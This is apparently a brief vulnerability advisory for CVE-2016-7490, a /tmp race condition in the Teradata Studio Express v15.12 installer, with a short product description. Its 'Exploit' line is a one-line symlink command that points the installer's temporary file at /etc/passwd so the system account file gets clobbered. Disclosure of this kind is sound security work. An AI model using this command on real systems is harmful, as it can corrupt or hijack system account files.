/tmp race condition in Teradata Studio Express v15.12.00.00 studioexpressinstall
CVE ID(s):
CVE-2016-7490
Notified: 2016-10-03
Description:
Teradata Studio Express provides an information discovery tool that retrieves data from Teradata Database systems and allows the data to be manipulated and stored on the desktop. It is built on the Eclipse Rich Client Platform (RCP).
Exploit:
$ ln -s /tmp/javaver /etc/passwd